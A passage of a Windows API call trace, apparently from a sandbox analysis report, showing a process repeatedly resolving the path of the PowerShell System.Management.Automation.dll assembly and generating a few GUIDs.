lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.495] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.495] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.496] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27be00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27bd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.497] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c350, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c2a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.500] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x6f8ec235, Data2=0x3e31, Data3=0x414e, Data4=([0]=0x9a, [1]=0x3e, [2]=0x36, [3]=0x82, [4]=0x73, [5]=0x5e, [6]=0xe4, [7]=0xd1))) returned 0x0 [0062.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.502] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.503] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.504] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.505] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c330, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c330, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c3e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c330, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.506] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c330, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.506] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x9d95c702, Data2=0xd614, Data3=0x4419, Data4=([0]=0x95, [1]=0xf5, [2]=0xe9, [3]=0x25, [4]=0xd, [5]=0xf0, [6]=0x5f, [7]=0x32))) returned 0x0 [0062.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.507] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.508] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.508] CoCreateGuid (in: pguid=0x27d270 | out: pguid=0x27d270*(Data1=0x5cf9dff3, Data2=0xa26f, Data3=0x4cd6, Data4=([0]=0x8b, [1]=0xd2, [2]=0x0, [3]=0xf6, [4]=0x5b, [5]=0xe2, [6]=0x53, [7]=0x91))) returned 0x0 [0062.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c660, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.509] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27c710, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.509] GetFullPathNameW (in: 